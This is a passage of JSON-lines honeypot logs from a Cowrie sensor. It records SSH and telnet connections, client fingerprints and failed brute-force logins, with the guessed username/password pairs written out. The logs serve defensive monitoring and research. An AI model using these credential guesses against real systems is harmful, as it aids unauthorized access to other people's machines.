nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:51:23.017725Z","src_ip":"163.245.222.56","session":"0bf3ff59d708","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:51:23.073251Z","src_ip":"163.245.222.56","session":"0bf3ff59d708","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:51:24.085752Z","src_ip":"163.245.222.56","session":"0bf3ff59d708","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.977562665939331,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:51:33.764450Z","src_ip":"186.233.121.75","session":"42fdebb9845e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.27.36.16","src_port":56604,"dst_ip":"159.203.135.109","dst_port":22,"session":"caddc7df9eda","protocol":"ssh","message":"New connection: 2.27.36.16:56604 (159.203.135.109:22) [session: caddc7df9eda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:51:34.330736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:51:34.335539Z","src_ip":"2.27.36.16","session":"caddc7df9eda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:51:34.435906Z","src_ip":"2.27.36.16","session":"caddc7df9eda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:51:34.877658Z","src_ip":"2.27.36.16","session":"caddc7df9eda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:51:35.981220Z","src_ip":"2.27.36.16","session":"caddc7df9eda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.156","src_port":55835,"dst_ip":"159.203.135.109","dst_port":22,"session":"a493a78d9a5b","protocol":"ssh","message":"New connection: 205.254.166.156:55835 (159.203.135.109:22) [session: a493a78d9a5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:51:46.458720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:51:46.463560Z","src_ip":"205.254.166.156","session":"a493a78d9a5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:51:46.676940Z","src_ip":"205.254.166.156","session":"a493a78d9a5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"--","message":"login attempt [root/--] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:51:47.557575Z","src_ip":"205.254.166.156","session":"a493a78d9a5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:51:48.774144Z","src_ip":"205.254.166.156","session":"a493a78d9a5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.240.156.16","src_port":38826,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9976265bdc8","protocol":"ssh","message":"New connection: 61.240.156.16:38826 (10.17.0.5:22) [session: e9976265bdc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:51:56.204630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:51:56.211855Z","src_ip":"61.240.156.16","session":"e9976265bdc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":54396,"dst_ip":"159.203.135.109","dst_port":22,"session":"1485ad4b4cf2","protocol":"ssh","message":"New connection: 41.181.156.205:54396 (159.203.135.109:22) [session: 1485ad4b4cf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:51:56.279899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:51:56.285845Z","src_ip":"41.181.156.205","session":"1485ad4b4cf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:51:56.440222Z","src_ip":"61.240.156.16","session":"e9976265bdc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:51:56.532485Z","src_ip":"41.181.156.205","session":"1485ad4b4cf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz123456!","message":"login attempt [root/Qaz123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:51:57.389123Z","src_ip":"61.240.156.16","session":"e9976265bdc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:51:57.541058Z","src_ip":"41.181.156.205","session":"1485ad4b4cf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:51:58.628135Z","src_ip":"61.240.156.16","session":"e9976265bdc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:51:58.787790Z","src_ip":"41.181.156.205","session":"1485ad4b4cf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:52:31.860640Z","src_ip":"106.13.14.186","session":"9549b4c328e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.245.222.56","src_port":43564,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd7509a3c6c3","protocol":"ssh","message":"New connection: 163.245.222.56:43564 (159.203.135.109:22) [session: cd7509a3c6c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:52:32.377271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:52:32.381733Z","src_ip":"163.245.222.56","session":"cd7509a3c6c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:52:32.387453Z","src_ip":"163.245.222.56","session":"cd7509a3c6c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"london","message":"login attempt [root/london] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:52:32.440738Z","src_ip":"163.245.222.56","session":"cd7509a3c6c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:52:33.452019Z","src_ip":"163.245.222.56","session":"cd7509a3c6c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.0.226.61","src_port":45519,"dst_ip":"159.203.135.109","dst_port":23,"session":"9760c4b3c1d6","protocol":"telnet","message":"New connection: 131.0.226.61:45519 (159.203.135.109:23) [session: 9760c4b3c1d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:52:56.648746Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.27.36.16","src_port":40338,"dst_ip":"159.203.135.109","dst_port":22,"session":"ceb0f357a0d7","protocol":"ssh","message":"New connection: 2.27.36.16:40338 (159.203.135.109:22) [session: ceb0f357a0d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:53:00.092630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:53:00.099442Z","src_ip":"2.27.36.16","session":"ceb0f357a0d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:53:00.211259Z","src_ip":"2.27.36.16","session":"ceb0f357a0d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminpass123","message":"login attempt [root/adminpass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:53:00.622123Z","src_ip":"2.27.36.16","session":"ceb0f357a0d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:53:01.726374Z","src_ip":"2.27.36.16","session":"ceb0f357a0d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":38715,"dst_ip":"159.203.135.109","dst_port":22,"session":"4919641fe535","protocol":"ssh","message":"New connection: 41.181.156.205:38715 (159.203.135.109:22) [session: 4919641fe535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:53:27.272491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:53:27.277119Z","src_ip":"41.181.156.205","session":"4919641fe535","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:53:27.523578Z","src_ip":"41.181.156.205","session":"4919641fe535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.0612633228302,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:53:27.709910Z","src_ip":"131.0.226.61","session":"9760c4b3c1d6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:53:28.540880Z","src_ip":"41.181.156.205","session":"4919641fe535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:53:29.793413Z","src_ip":"41.181.156.205","session":"4919641fe535","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.156","src_port":62130,"dst_ip":"159.203.135.109","dst_port":22,"session":"7914beb9cc3b","protocol":"ssh","message":"New connection: 205.254.166.156:62130 (159.203.135.109:22) [session: 7914beb9cc3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:53:41.384233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:53:41.388478Z","src_ip":"205.254.166.156","session":"7914beb9cc3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:53:41.599861Z","src_ip":"205.254.166.156","session":"7914beb9cc3b","protocol":"ssh"}
